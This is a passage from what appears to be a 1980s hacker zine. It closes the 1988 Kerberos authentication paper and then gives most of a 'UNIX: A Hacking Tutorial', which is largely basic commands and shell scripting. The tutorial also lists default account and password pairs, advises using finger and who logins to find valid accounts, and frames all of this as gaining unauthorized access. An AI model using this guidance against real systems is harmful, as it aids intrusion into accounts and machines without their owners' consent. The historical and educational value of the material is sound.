- obtain a new one which requires the user to enter the pass-
- word again.
-
- An open problem is the proxy problem. How can an
- authenticated user allow a server to acquire other network
- services on her/his behalf? An example where this would be
- important is the use of a service that will gain access to
- protected files directly from a fileserver. Another example
- of this problem is what we call authentication forwarding.
- If a user is logged into a workstation and logs in to a
- remote host, it would be nice if the user had access to the
- same services available locally, while running a program on
- the remote host. What makes this difficult is that the user
- might not trust the remote host, thus authentication for-
- warding is not desirable in all cases. We do not presently
- have a solution to this problem.
-
- Another problem, and one that is important in the
- Athena environment, is how to guarantee the integrity of the
- software running on a workstation. This is not so much of a
- problem on private workstations since the user that will be
- using it has control over it. On public workstations, how-
- ever, someone might have come along and modified the login
- program to save the user's password. The only solution
- presently available in our environment is to make it diffi-
- cult for people to modify software running on the public
- workstations. A better solution would require that the
- user's key never leave a system that the user knows can be
- trusted. One way this could be done would be if the user
- possessed a smartcard capable of doing the encryptions
- required in the authentication protocol.
-
-
-
-
-
-
- March 30, 1988
-
-
-
-
-
-
- - 23 -
-
-
- 9. Status
-
- A prototype version of Kerberos went into production in
- September of 1986. Since January of 1987, Kerberos has been
- Project Athena's sole means of authenticating its 5,000
- users, 650 workstations, and 65 servers. In addition, Ker-
- beros is now being used in place of .rhosts files for con-
- trolling access in several of Athena's timesharing systems.
-
- 10. Acknowledgements
-
- Kerberos was initially designed by Steve Miller and
- Clifford Neuman with suggestions from Jeff Schiller and
- Jerry Saltzer. Since that time, numerous other people have
- been involved with the project. Among them are Jim Aspnes,
- Bob Baldwin, John Barba, Richard Basch, Jim Bloom, Bill
- Bryant, Mark Colan, Rob French, Dan Geer, John Kohl, John
- Kubiatowicz, Bob Mckie, Brian Murphy, John Ostlund Ken Rae-
- burn, Chris Reed, Jon Rochlis, Mike Shanzer, Bill Sommer-
- feld, Ted T'so, Win Treese, and Stan Zanarotti.
-
- We are grateful to Dan Geer, Kathy Lieben, Josh Lubarr,
- Ken Raeburn, Jerry Saltzer, Ed Steiner, Robbert van Renesse,
- and Win Treese whose suggestions much improved earlier
- drafts of this paper.
-
- The illustration on the title page is by Betsy Bruem-
- mer.
-
- March 30, 1988
-
-
-
- - 24 -
-
-
- Appendix
-
-
- Kerberos Application to SUN's Network File System (NFS)
-
-
-
- A key component of the Project Athena workstation sys-
- tem is the interposing of the network between the user's
- workstation and her/his private file storage (home direc-
- tory). All private storage resides on a set of computers
- (currently VAX 11/750s) that are dedicated to this purpose.
- This allows us to offer services on publicly available UNIX
- workstations. When a user logs in to one of these publicly
- available workstations, rather then validate her/his name
- and password against a locally resident password file, we
- use Kerberos to determine her/his authenticity. The login
- program prompts for a username (as on any UNIX system).
- This username is used to fetch a Kerberos ticket-granting
- ticket. The login program uses the password to generate a
- DES key for decrypting the ticket. If decryption is suc-
- cessful, the user's home directory is located by consulting
- the Hesiod naming service and mounted through NFS. The
- login program then turns control over to the user's shell,
- which then can run the traditional per-user customization
- files because the home directory is now ``attached'' to the
- workstation. The Hesiod service is also used to construct
- an entry in the local password file. (This is for the bene-
- fit of programs that look up information in /etc/passwd.)
-
- From several options for delivery of remote file ser-
- vice, we chose SUN's Network File System. However this sys-
- tem fails to mesh with our needs in a crucial way. NFS
- assumes that all workstations fall into two categories (as
- viewed from a file server's point of view): trusted and
- untrusted. Untrusted systems cannot access any files at
- all, trusted can. Trusted systems are completely trusted.
- It is assumed that a trusted system is managed by friendly
- management. Specifically, it is possible from a trusted
- workstation to masquerade as any valid user of the file ser-
- vice system and thus gain access to just about every file on
- the system. (Only files owned by ``root'' are exempted.)
-
- In our environment, the management of a workstation (in
- the traditional sense of UNIX system management) is in the
- hands of the user currently using it. We make no secret of
- the root password on our workstations, as we realize that a
- truly unfriendly user can break in by the very fact that
- s/he is sitting in the same physical location as the machine
- and has access to all console functions. Therefore we can-
- not truly trust our workstations in the NFS interpretation
- of trust. To allow proper access controls in our environ-
- ment we had to make some modifications to the base NFS
-
-
-
- March 30, 1988
- software, and integrate Kerberos into the scheme.
-
-
-
-
-
- - 25 -
-
-
- Unmodified NFS
-
- In the implementation of NFS that we started with (from
- the University of Wisconsin), authentication was provided in
- the form of a piece of data included in each NFS request
- (called a ``credential'' in NFS terminology). This creden-
- tial contains information about the unique user identifier
- (UID) of the requester and a list of the group identifiers
- (GIDs) of the requester's membership. This information is
- then used by the NFS server for access checking. The
- difference between a trusted and a non-trusted workstation
- is whether or not its credentials are accepted by the NFS
- server.[12]
-
- Modified NFS
-
- In our environment, NFS servers must accept credentials
- from a workstation if and only if the credentials indicate
- the UID of the workstation's user, and no other.
-
- One obvious solution would be to change the nature of
- credentials from mere indicators of UID and GIDs to full
- blown Kerberos authenticated data. However a significant
- performance penalty would be paid if this solution were
- adopted. Credentials are exchanged on every NFS operation
- including all disk read and write activities. Including a
- Kerberos authentication on each disk transaction would add a
- fair number of full-blown encryptions (done in software) per
- transaction and, according to our envelope calculations,
- would have delivered unacceptable performance. (It would
- also have required placing the Kerberos library routines in
- the kernel address space.)
-
- We needed a hybrid approach, described below. The
- basic idea is to have the NFS server map credentials
- received from client workstations, to a valid (and possibly
- different) credential on the server system. This mapping is
- performed in the server's kernel on each NFS transaction and
- is setup at ``mount'' time by a user-level process that
- engages in Kerberos- moderated authentication prior to
- establishing a valid kernel credential mapping.
-
- To implement this we added a new system call to the
- kernel (required only on server systems, not on client sys-
- tems) that provides for the control of the mapping function
- that maps incoming credentials from client workstations to
- credentials valid for use on the server (if any). The basic
- mapping function maps the tuple:
-
- <CLIENT-IP-ADDRESS, UID-ON-CLIENT>
-
- to a valid NFS credential on the server system. The
- CLIENT-IP-ADDRESS is extracted from the NFS request packet
- and the UID-ON-CLIENT is extracted from the credential
-
-
- March 30, 1988
- supplied by the client system. Note: all information in the
- client-generated credential except the UID-ON-CLIENT is dis-
- carded.
-
-
-
- - 26 -
-
-
- If no mapping exists, the server reacts in one of two
- ways, depending it is configured. In our friendly confi-
- guration we default the unmappable requests into the creden-
- tials for the user ``nobody'' who has no privileged access
- and has a unique UID. Unfriendly servers return an NFS
- access error when no valid mapping can be found for an
- incoming NFS credential.
-
- Our new system call is used to add and delete entries
- from the kernel resident map. It also provides the ability
- to flush all entries that map to a specific UID on the
- server system, or flush all entries from a given
- CLIENT-IP-ADDRESS.
-
- We modified the mount daemon (which handles NFS mount
- requests on server systems) to accept a new transaction
- type, the Kerberos authentication mapping request. Basi-
- cally, as part of the mounting process, the client system
- provides a Kerberos authenticator along with an indication
- of her/his UID-ON-CLIENT (encrypted in the Kerberos authen-
- ticator) on the workstation. The server's mount daemon con-
- verts the Kerberos principal name into a local username.
- This username is then looked up in a special file to yield
- the user's UID and GIDs list. For efficiency, this file is
- a ndbm database file with the username as the key. From
- this information, an NFS credential is constructed and
- handed to the kernel as the valid mapping of the
- <CLIENT-IP-ADDRESS, CLIENT-UID> tuple for this request.
-
- At unmount time a request is sent to the mount daemon
- to remove the previously added mapping from the kernel. It
- is also possible to send a request at logout time to invali-
- date all mapping for the current user on the server in ques-
- tion, thus cleaning up any remaining mappings that exist
- (though they shouldn't) before the workstation is made
- available for the next user.
-
- Security Implications of the Modified NFS
-
- This implementation is not completely secure. For
- starters, user data is still sent across the network in an
- unencrypted, and therefore interceptable, form. The low-
- level, per-transaction authentication is based on a
- <CLIENT-IP-ADDRESS, CLIENT-UID> pair provided unencrypted in
- the request packet. This information could be forged and
- thus security compromised. However, it should be noted that
- only while a user is actively using her/his files (i.e.,
- while logged in) are valid mappings in place and therefore
- this form of attack is limited to when the user in question
- is logged in. When a user is not logged in, no amount of IP
- address forgery will permit unauthorized access to her/his
- files.
-
-
-
-
- March 30, 1988
- References
-
-
-
-
-
- - 27 -
-
-
- 1. S. P. Miller, B. C. Neuman, J. I. Schiller, and J. H.
- Saltzer, Section E.2.1: Kerberos Authentication and
- Authorization System, M.I.T. Project Athena, Cambridge,
- Massachusetts (December 21, 1987).
-
- 2. E. Balkovich, S. R. Lerman, and R. P. Parmelee, "Com-
- puting in Higher Education: The Athena Experience,"
- Communications of the ACM, Vol. 28(11), pp. 1214-1224,
- ACM (November, 1985).
-
- 3. R. M. Needham and M. D. Schroeder, "Using Encryption
- for Authentication in Large Networks of Computers,"
- Communications of the ACM, Vol. 21(12), pp. 993-999
- (December, 1978).
-
- 4. V. L. Voydock and S. T. Kent, "Security Mechanisms in
- High-Level Network Protocols," Computing Surveys, Vol.
- 15(2), ACM (June 1983).
-
- 5. National Bureau of Standards, "Data Encryption Stan-
- dard," Federal Information Processing Standards Publi-
- cation 46, Government Printing Office, Washington,
- D.C. (1977).
-
- 6. S. P. Dyer, "Hesiod," in Usenix Conference Proceedings
- (Winter, 1988).
-
- 7. W. J. Bryant, Kerberos Programmer's Tutorial, M.I.T.
- Project Athena (In preparation).
-
- 8. W. J. Bryant, Kerberos Administrator's Manual, M.I.T.
- Project Athena (In preparation).
-
- 9. G. W. Treese, "Berkeley Unix on 1000 Workstations:
- Athena Changes to 4.3BSD," in Usenix Conference
- Proceedings (Winter, 1988).
-
- 10. C. A. DellaFera, M. W. Eichin, R. S. French, D. C. Jed-
- linsky, J. T. Kohl, and W. E. Sommerfeld, "The Zephyr
- Notification System," in Usenix Conference Proceedings
- (Winter, 1988).
-
- 11. M. A. Rosenstein, D. E. Geer, and P. J. Levine, in
- Usenix Conference Proceedings (Winter, 1988).
-
- 12. R. Sandberg, D. Goldberg, S. Kleiman, D. Walsh, and B.
- Lyon, "Design and Implementation of the Sun Network
- Filesystem," in Usenix Conference Proceedings (Summer,
- 1985).
-
- March 30, 1988
- =============================================================================
-
- / /
- / File 06 / NIA070 /
- / UNIX : A Hacking Tutorial /
- / Sir Hackalot [PHAZE] /
- / /
-
- [Editor's Note: This was an independant file that was release some time
- ago, but after talking with Sir Hackalot he gave us the go-ahead of
- putting it in this issue under NIA for the people that have not gotten
- it as an induvidual file.]
-
- ----------------------
- o Intent of this file:
- ----------------------
-
- This phile is geared as an UNIX tutorial at first, to let you get more
- familiar with the operating system. UNIX is just an operating system, as
- is MS-DOS, AppleDOS, AmigaDOS, and others. UNIX happens to be a multi-user-
- multi-tasking system, thus bringing a need for security not found on MSDOS,
- AppleDOS, etc. This phile will hopefully teach the beginners who do not have
- a clue about how to use UNIX a good start, and may hopefully teach old pros
- something they didn't know before. This file deals with UNIX SYSTEM V and
- its variants. When I talk about unix, its usually about SYSTEM V (rel 3.2).
-
- Where Can I be found? I have no Idea. The Boards today are going Up'n'Down
- so fast, 3 days after you read this file, if I put a BBS in it where you could
- reach me, it may be down! Just look for me.
-
- I can be reached on DarkWood Castle [If it goes back up], but that board
- is hard to get access on, but I decided to mention it anyway.
-
- I *COULD* Have been reached on jolnet, but......
-
- This file may have some bad spelling, etc, or discrepencies since it was
- spread out over a long time of writing, because of school, work, Girl friend,
- etc. Please, no flames. If you don't like this file, don't keep it.
-
- This is distributed under PHAZE Inc. Here are the members (and ex ones)
- The Dark Pawn
- The Data Wizard
- Sir Hackalot (Me)
- Taxi (ummm.. Busted)
- Lancia (Busted)
- The British Knight (Busted)
- The Living Pharoah (Busted)
-
- _____________________________________________________________________________
-
-
- -------------
- o Dedication:
- -------------
- This phile is dedicated to the members of LOD that were raided in
- Atlanta. The members that got busted were very good hackers, especially
- The Prophet. Good luck to you guys, and I hope you show up again somewhere.
- _____________________________________________________________________________
-
- ------------------------
- o A little History, etc:
- ------------------------
-
- UNIX, of course, was invented By AT&T in the 60's somewhere, to be
- "a programmer's operating system." While that goal was probably not reached
- when they first invented UNIX, it seems that now, UNIX is a programmer's OS.
- UNIX, as I have said before, is a multi-tasking/multi-user OS. It is also
- written in C, or at least large parts of it are, thus making it a portable
- operating system. We know that MSDOS corresponds to IBM/clone machines,
- right? Well, this is not the case with UNIX. We do not associate it with
- any one computer since it has been adapted for many, and there are many
- UNIX variants [that is, UNIX modified by a vendor, or such]. Some AT&T
- computers run it, and also some run MSDOS [AT&T 6300]. The SUN workstations
- run SunOS, a UNIX variant, and some VAX computers run Ultrix, a VAX version
- of UNIX. Remember, no matter what the name of the operating system is [BSD,
- UNIX,SunOS,Ultrix,Xenix, etc.], they still have a lot in common, such as the
- commands the operating system uses. Some variants may have features others
- do not, but they are basically similar in that they have a lot of the same
- commands/datafiles. When someone tries to tell you that UNIX goes along with
- a certain type of computer, they may be right, but remember, some computers
- have more than one Operating system. For instance, one person may tell you
- that UNIX is to a VAX as MSDOS is to IBM/clones. That is untrue, and the
- only reason I stated that, was because I have seen many messages with info
- /comparisons in it like that, which confuse users when they see a VAX running
- VMS.
- ____________________________________________________________________________
-
-
- -------------------------------
- o Identifying a Unix/Logging in
- -------------------------------
-
- From now on, I will be referring to all the UNIX variants/etc as
- UNIX, so when I say something about UNIX, it generally means all the variants
- (Unix System V variants that is: BSD, SunOS, Ultrix, Xenix, etc.), unless
- I state a variant in particular.
-
- Okay. Now its time for me to tell you how a unix USUALLY greets you.
- First, when you call up a UNIX, or connect to one however you do, you will
- usually get this prompt:
-
- login:
-
- Ok. Thats all fine and dandy. That means that this is PROBABLY a Unix,
- although there are BBS's that can mimic the login procedure of an OS
- (Operating System), thus making some people believe its a Unix. [Hah!].
- Some Unixes will tell you what they are or give you a message before a
- login: prompt, as such:
-
- Welcome to SHUnix. Please log in.
-
- login:
-
- Or something like that. Public access Unixes [like Public BBSs] will
- tell you how to logon if you are a new users. Unfortunatly, this phile is
- not about public access Unixes, but I will talk about them briefly later, as
- a UUCP/UseNet/Bitnet address for mail.
- OK. You've gotten to the login prompt! Now, what you need to do
- here is enter in a valid account. An Account usually consists of 8 characters
- or less. After you enter in an account, you will probably get a password
- prompt of some sort. The prompts may vary, as the source code to the login
- program is usually supplied with UNIX, or is readily available for free.
- Well, The easiest thing I can say to do to login is basically this:
- Get an account, or try the defaults. The defaults are ones that came with
- the operating system, in standard form. The list of some of the Defaults
- are as follows:
-
- ACCOUNT PASSWORD
- ------- --------
- root root - Rarely open to hackers
- sys sys / system / bin
- bin sys / bin
- mountfsys mountfsys
- adm adm
- uucp uucp
- nuucp anon
- anon anon
- user user
- games games
- install install
- reboot * See Below
- demo demo
- umountfsys umountfsys
- sync sync
- admin admin
- guest guest
- daemon daemon
-
- The accounts root, mountfsys, umountfsys, install, and sometimes sync are
- root level accounts, meaning they have sysop power, or total power. Other
- logins are just "user level" logins meaning they only have power over what
- files/processes they own. I'll get into that later, in the file permissions
- section. The REBOOT login is what as known as a command login, which just
- simply doesn't let you into the operating system, but executes a program
- assigned to it. It usually does just what it says, reboot the system. It
- may not be standard on all UNIX systems, but I have seen it on UNISYS unixes
- and also HP/UX systems [Hewlett Packard Unixes]. So far, these accounts have
- not been passworded [reboot], which is real stupid, if you ask me.
-
- COMMAND LOGINS:
- ---------------
-
- There are "command logins", which, like reboot, execute a command then log
- you off instead of letting you use the command interpreter. BSD is notorious
- for having these, and concequently, so does MIT's computers. Here are some:
-
- rwho - show who is online
- finger - same
- who - same
-
- These are the most useful, since they will give the account names that are
- online, thus showing you several accounts that actually exist.
-
-
- Errors:
- -------
-
- When you get an invalid Account name / invalid password, or both, you will
- get some kind of error. Usually it is the "login incorrect" message. When
- the computer tells you that, you have done something wrong by either enterring
- an invalid account name, or a valid account name, but invalid password. It
- does not tell you which mistake you made, for obvious reasons. Also,
- when you login incorrectly, the error log on the system gets updated, letting
- the sysops(s) know something is amiss.
-
- Another error is "Cannot change to home directory" or "Cannot Change
- Directory." This means that no "home directory" which is essentially the
- 'root' directory for an account, which is the directory you start off in.
- On DOS, you start in A:\ or C:\ or whatever, but in UNIX you start in
- /homedirectory. [Note: The / is used in directories on UNIX, not a \ ].
- Most systems will log you off after this, but some tell you that they will
- put you in the root directory [ '/'].
-
- Another error is "No Shell". This means that no "shell" was defined
- for that particular account. The "shell" will be explained later. Some
- systems will log you off after this message. Others will tell you that they
- will use the regular shell, by saying "Using the bourne shell", or "Using sh"
-
- -----------------------------
- Accounts In General :
- -----------------------------
-
- This section is to hopefully describe to you the user structure
- in the UNIX environment.
- Ok, think of UNIX having two levels of security: absolute power,
- or just a regular user. The ones that have absolute power are those users
- at the root level. Ok, now is the time to think in numbers. Unix associates
- numbers with account names. each account will have a number. Some will have
- the same number. That number is the UID [user-id] of the account. the root
- user id is 0. Any account that has a user id of 0 will have root access.
- Unix does not deal with account names (logins) but rather the number
- associated with them. for instance, If my user-id is 50, and someone else's
- is 50, with both have absolute power of each other, but no-one else.
- _____________________________________________________________________________
-
- ---------------
- Shells :
- ---------------
-
- A shell is an executable program which loads and runs when a user
- logs on, and is in the foreground. This "shell" can be any executable prog-
- ram, and it is defined in the "passwd" file which is the userfile. Each
- login can have a unique "shell". Ok. Now the shell that we usually will work
- with is a command interpreter. A command interpreter is simply something
- like MSDOS's COMMAND.COM, which processes commands, and sends them to the
- kernel [operating system]. A shell can be anything, as I said before,
- but the one you want to have is a command interpreter. Here are the
- usual shells you will find:
-
- sh - This is the bourne shell. It is your basic Unix "COMMAND.COM". It has
- a "script" language, as do most of the command interpreters on Unix sys-
- tems.
-
- csh - This is the "C" shell, which will allow you to enter "C" like commands.
- ksh - this is the korn shell. Just another command interpreter.
- tcsh - this is one, which is used at MIT I believe. Allows command editing.
- vsh - visual shell. It is a menu driven deal. Sorta like.. Windows for DOS
- rsh - restricted shell OR remote shell. Both Explained later.
- There are many others, including "homemade " shells, which are
- programs written by the owner of a unix, or for a specific unix, and they
- are not standard. Remember, the shell is just the program you get to use
- and when it is done executing, you get logged off. A good example of a
- homemade shell is on Eskimo North, a public access Unix. The shell
- is called "Esh", and it is just something like a one-key-press BBS,
- but hey, its still a shell. The Number to eskimo north is 206-387-3637.
- [206-For-Ever]. If you call there, send Glitch Lots of mail.
- Several companies use Word Processors, databases, and other things
- as a user shell, to prevent abuse, and make life easier for unskilled computer
- operators. Several Medical Hospitals use this kind of shell in Georgia,
- and fortunatly, these second rate programs leave major holes in Unix.
- Also, a BBS can be run as a shell. Check out Jolnet [312]-301-2100, they
- give you a choice between a command interpreter, or a BBS as a shell.
- WHen you have a command interpreter, the prompt is usually a:
- $
- when you are a root user the prompt is usually a:
- #
- The variable, PS1, can be set to hold a prompt.
- For instance, if PS1 is "HI:", your prompt will be:
- HI:
-
- _____________________________________________________________________________
-
- ------------------------
- SPecial Characters, ETc:
- ------------------------
-
- Control-D : End of file. When using mail or a text editor, this will end
- the message or text file. If you are in the shell and hit control-d you get
- logged off.
-
- Control-J: On some systems, this is like the enter key.
- @ : Is sometimes a "null"
- ? : This is a wildcard. This can represent a letter. If you specified
- something at the command line like "b?b" Unix would look for bob,bib,bub,
- and every other letter/number between a-z, 0-9.
- * : this can represent any number of characters. If you specified a "hi*"
- it would use "hit", him, hiiii, hiya, and ANYTHING that starts with
- hi. "H*l" could by hill, hull, hl, and anything that starts with an
- H and ends with an L.
-
- [] - The specifies a range. if i did b[o,u,i]b unix would think: bib,bub,bob
- if i did: b[a-d]b unix would think: bab,bbb,bcb,bdb. Get the idea? The
- [], ?, and * are usually used with copy, deleting files, and directory
- listings.
-
- EVERYTHING in Unix is CASE sensitive. This means "Hill" and "hill" are not
- the same thing. This allows for many files to be able to be stored, since
- "Hill" "hill" "hIll" "hiLl", etc. can be different files. So, when using
- the [] stuff, you have to specify capital letters if any files you are dealing
- with has capital letters. Most everything is lower case though.
-
- ----------------
- Commands to use:
- ----------------
-
- Now, I will rundown some of the useful commands of Unix. I will act
- as if I were typing in the actual command from a prompt.
-
- ls - this is to get a directory. With no arguments, it will just print out
- file names in either one column or multi-column output, depending on the
- ls program you have access to.
-
- example:
- $ ls
- hithere
- runme
- note.text
- src
- $
- the -l switch will give you extended info on the files.
- $ ls -l
- rwx--x--x sirhack sirh 10990 runme
- and so on....
-
- the "rwx--x--x" is the file permission. [Explained Later]
- the "sirhack sirh" is the owner of the file/group the file is in.
- sirhack = owner, sirh = user-group the file is in [explained later]
- the 10990 is the size of the file in bytes.
- "runme" is the file name.
- The format varies, but you should have the general idea.
-
- cat - this types out a file onto the screen. should be used on text files.
- only use it with binary files to make a user mad [explained later]
- ex:
- $ cat note.txt
- This is a sample text file!
- $
-
- cd - change directory . You do it like this: cd /dir/dir1/dir2/dirn.
- the dir1/etc.... describes the directory name. Say I want to get
- to the root directory.
- ex:
- $ cd /
- *ok, I'm there.*
- $ ls
- bin
- sys
- etc
- temp
- work
- usr
- all of the above are directories, lets say.
- $ cd /usr
- $ ls
- sirhack
- datawiz
- prophet
- src
- violence
- par
- phiber
- scythian
- $ cd /usr/sirhack
- $ ls
- hithere
- runme
- note.text
- src
- $
- ok, now, you do not have to enter the full dir name. if you are in
- a directory, and want to get into one that is right there [say "src"], you
- can type "cd src" [no "/"]. Instead of typing "cd /usr/sirhack/src" from the
- sirhack dir, you can type "cd src"
-
- cp - this copies a file. syntax for it is "cp fromfile tofile"
- $ cp runme runme2
- $ ls
- hithere
- runme
- note.text
- src
- runme2
- Full pathnames can be included, as to copy it to another directory.
- $ cp runme /usr/datwiz/runme
-
- mv - this renames a file. syntax "mv oldname newname"
- $ mv runme2 runit
- $ ls
- hithere
- runme
- note.text
- src
- runit
- files can be renamed into other directories.
- $ mv runit /usr/datwiz/run
- $ ls
- hithere
- runme
- note.text
- src
- $ ls /usr/datwiz
- runme
- run
-
- pwd - gives current directory
- $ pwd
- /usr/sirhack
- $ cd src
- $ pwd
- /usr/sirhack/src
- $ cd ..
- $ pwd
- /usr/sirhack
- [ the ".." means use the name one directory back. ]
- $ cd ../datwiz
- [translates to cd /usr/datwiz]
- $ pwd
- /usr/datwiz
- $ cd $home
- [goto home dir]
- $ pwd
- /usr/sirhack
-
- rm - delete a file. syntax "rm filename" or "rm -r directory name"
- $ rm note.text
- $ ls
- hithere
- runme
- src
- $
-
- write - chat with another user. Well, "write" to another user.
- syntax: "write username"
- $ write scythian
- scythian has been notified
- Hey Scy! What up??
- Message from scythian on tty001 at 17:32
- hey!
- me: So, hows life?
- scy: ok, I guess.
- me: gotta go finish this text file.
- scy: ok
- me: control-D [to exit program]
- $
-
- who [w,who,whodo] - print who is online
- $ who
- login term logontime
- scythian + tty001 17:20
- phiberO + tty002 15:50
- sirhack + tty003 17:21
- datawiz - tty004 11:20
- glitch - tty666 66:60
- $
- the "who" commands may vary in the information given. a "+" means
- you can "write" to their terminal, a "-" means you cannot.
-
- man - show a manual page entry. syntax "man command name" This is a help
- program. If you wanted to know how to use... "who" you'd type
- $ man who
- WHO(1) xxx......
- and it would tell you.
-
- stty - set your terminal characteristics. You WILL have to do "man stty"
- since each stty is different, it seems like.
- an example would be:
- $ stty -parenb
- to make the data params N,8,1. A lot of Unixes operate at
- e,7,1 by default.
- sz,rz - send and recieve via zmodem
- rx,sx - send / recieve via xmodem
- rb,sb - send via batch ymodem. These 6 programs may or may not be on a unix.
- umodem - send/recieve via umodem.
- $ sz filename
- ready to send...
- $ rz filename
- please send your file....
- ...etc..
-
- ed - text editor. Usage "ed filename" to create a file that doesn't
- exist, just enter in "ed filename"
- some versions of ed will give you a prompt, such as "*" others will not
- $ ed newtext
- 0
- * a
- This is line 1
- This is line 2
- [control-z]
- * 1 [to see line one]
- This is line 1
- * a [keep adding]
- This is line 3
- [control-z]
- *0a [add after line 0]
- This is THE first line
- [control-z]
- 1,4l
- This is THE first line
- This is line 1
- This is line 2
- This is line 3
- * w
- 71
- * q
- $
- The 71 is number of bytes written.
- a = append
- l = list
- # = print line number
- w - write
- l fname = load fname
- s fname = save to fname
- w = write to current file
- q = quit
- mesg - turn write permissions on or off to your terminal (allow chat)
- format "mesg y" or "mesg n"
- cc - the C compiler. don't worry about this one right now.
- chmod - change mode of a file. Change the access in other words.
- syntax: "chmod mode filename"
- $ chmod a+r newtext
- Now everyone can read newtext.
- a = all
- r = read. This will be explained further in the File System section.
-
- chown - change the owner of a file.
- syntax: "chown owner filename"
- $ chown scythian newtext
- $
- chgrp - change the group [explained later] of a file.
- syntax: "chgrp group file"
- $ chgrp root runme
- $
- finger - print out basic info on an account. Format: finger username
- grep - search for patterns in a file. syntax: "grep pattern file"
- $ grep 1 newtext
- This is Line 1
- $ grep THE newtext
- This is THE first line
- $ grep "THE line 1" newtext
- $
-
- mail - This is a very useful utility. Obviously, you already know what it
- is by its name. There are several MAIL utilities, such as ELM, MUSH
- and MSH, but the basic "mail" program is called "mail". The usage
- is:
- "mail username@address" or
- "mail username"
- or
- "mail"
- or "mail addr1!addr2!addr3!user"
-
- "mail username@address" - This is used to send mail to someone on
- another system, which is usually another UNIX, but some DOS machines and some
- VAX machines can recieve Unix Mail. When you use "mail user@address" the
- system you are on MUST have a "smart mailer" [known as smail], and must
- have what we call system maps. The smart mailer will find the "adress" part
- of the command and expand it into the full pathname usually. I could look
- like this: mail phiber@optik
- then look like this to the computer:
-
- mail sys1!unisys!pacbell!sbell!sc1!att.com!sirhacksys!optik!phiber
-
- Do not worry about it, I was merely explaining the principal of the thing.
- Now, if there is no smart mailer online, you'll have to know the FULL path
- name of the person you wish to mail to. For Instance, I want to mail to
- .. phiber. I'd do this if there were no smart mailer:
-
- $ mail sys!unisys!pacbell!sbell!sc1!att.com!sirhacksys!optik!phiber
-
- Hey Guy. Whats up? Well, gotta go. Nice long message huh?
- [control-D]
- $
- Then, when he got it, there would be about 20 lines of information, with
- like a post mark from every system my message went thru, and the "from" line
- would look like so:
-
- >From optik!sirhacksys!att.com!sc1!sbell!pacbell!unisys!sys!sirhack <Sir Hack>
-
- Now, for local mailing, just type in "mail username" where username
- is the login you want to send mail to. Then type in your message. Then
- end it with a control-D.
-
- To read YOUR mail, just type in mail. IE:
-
- $ mail
-
- From scythian ............
- To sirhack ............
- Subject: Well....
-
- Arghhh!
-
- ?
- The dots represent omitted crap. Each Mail program makes its own headings.
- That ? is a prompt. At this prompt I can type:
-
- d - delete
- f username - forward to username
- w fname - write message to a file named fname
- s fname - save message with header into file
- q - quit / update mail
- x - quit, but don't change a thing
- m username - mail to username
- r - reply
- [enter] - read next message
- + - go forward one message
- - : go back one
- h - print out message headers that are in your mailbox.
-
- There are others, to see them, you'd usually hit '?'.
-
- --------
-
- If you send mail to someone not on your system, you will have to wait longer
- for a reply, since it is just as a letter. A "postman" has to pick it up.
- The system might call out, and use UUCP to transfer mail. Usually, uucp
- accounts are no good to one, unless you have uucp available to intercept mail.
-
- ps - process. This command allows you to see what you are actually doing
- in memory. Everytime you run a program, it gets assigned a Process Id number
- (PID), for accounting purposes, and so it can be tracked in memory, as
- well as shut down by you, or root. usually, the first thing in a process
- list given by "ps" is your shell name. Say I was logged in under sirhack,
- using the shell "csh" and running "watch scythian". The watch program would
- go into the background, meaning I'd still be able to do things while it was
- running:
- $ ps
- PID TTY NAME
- 122 001 ksh
- 123 001 watch
- $
- That is a shortened PS. That is the default listing [a brief one].
- The TTY column represents the "tty" [i/o device] that the process is being
- run from. This is only useful really if you are using layers (don't worry)
- or more than one person is logged in with the same account name. Now,
- "ps -f" would give a full process listing on yourself, so instead of
- seeing just plain ole "watch" you'd most likely see "watch scythian"
-
- kill - kill a process. This is used to terminate a program in memory obvio-
- ously. You can only kill processes you own [ones you started], unless you
- are root, or your EUID is the same as the process you want to kill.
- (Will explain euid later). If you kill the shell process, you are logged
- off. By the same token, if you kill someone else's shell process, they
- are logged off. So, if I said "kill 122" I would be logged off. However,
- kill only sends a signal to UNIX telling it to kill off a process. If
- you just use the syntax "kill pid" then UNIX kills the process WHEN it feels
- like it, which may be never. So, you can specify urgency! Try "kill -num pid"
- Kill -9 pid is a definite kill almost instantly. So if I did this:
- $ kill 122
- $ kill 123
- $ ps
- PID TTY NAME
- 122 001 ksh
- 123 001 watch
- $ kill -9 123
- [123]: killed
- $ kill -9 122
- garbage
- NO CARRIER
-
- Also, you can do "kill -1 0" to kill your shell process to log yourself off.
- This is useful in scripts (explained later).
-
- -------------------
- Shell Programmin'
- -------------------
-
- Shell Programming is basically making a "script" file for the
- standard shell, being sh, ksh, csh, or something on those lines. Its
- like an MSDOS batch file, but more complex, and more Flexible.
- This can be useful in one aspect of hacking.
-
-
- First, lets get into variables. Variables obviously can be assigned
- values. These values can be string values, or numberic values.
-
- number=1
-
- That would assign 1 to the variable named "number".
-
- string=Hi There
- or
- string="Hi There"
-
- Both would assign "Hi there" to a variable.
-
- Using a variable is different though. When you wish to use a variable
- you must procede it with a dollar ($) sign. These variables can
- be used as arguments in programs. When I said that scripts are
- like batch files, I meant it. You can enter in any name of a program
- in a script file, and it will execute it. Here is a sample script.
-
- counter=1
- arg1="-uf"
- arg2="scythian"
-
- ps $arg1 $arg2
-
- echo $counter
-
- That script would translate to "ps -uf scythian" then would print
- "1" after that was finished. ECHO prints something on the screen
- whether it be numeric, or a string constant.
-
- Other Commands / Examples:
-
- read - reads someting into a variable. format : read variable . No dollar
- sign is needed here! If I wwanted to get someone's name, I could
- put:
-
- echo "What is your name?"
- read hisname
- echo Hello $hisname
-
- What is your name?
- Sir Hackalot
- Hello Sir Hackalot
-
- Remember, read can read numeric values also.
-
- trap - This can watch for someone to use the interrupt character. (Ctrl-c)
- format: trap "command ; command ; command ; etc.."
- Example:
- trap "echo 'Noway!! You are not getting rid o me that easy' ; echo
- 'You gotta see this through!'"
-
- Now, if I hit control-c during the script after this statement was
- executed, I'd get:
- Noway!! You are not getting rid of me that easy
- You gotta see this through!
-
- exit : format :exit [num] This exists the shell [quits] with return
- code of num.
-
- -----
- CASE
- -----
-
- Case execution is like a menu choice deal. The format of the command
- or structure is :
- case variable in
- 1) command;
- command;;
- 2) command;
- command;
- command;;
- *) command;;
- esac
- Each part can have any number of commands. The last command however
- must have a ";;". Take this menu:
-
- echo "Please Choose:"
- echo "(D)irectory (L)ogoff (S)hell"
- read choice
- case $choice in
-
- D) echo "Doing Directory...";
- ls -al ;;
- L) echo Bye;
- kill -1 0;;
- S) exit;;
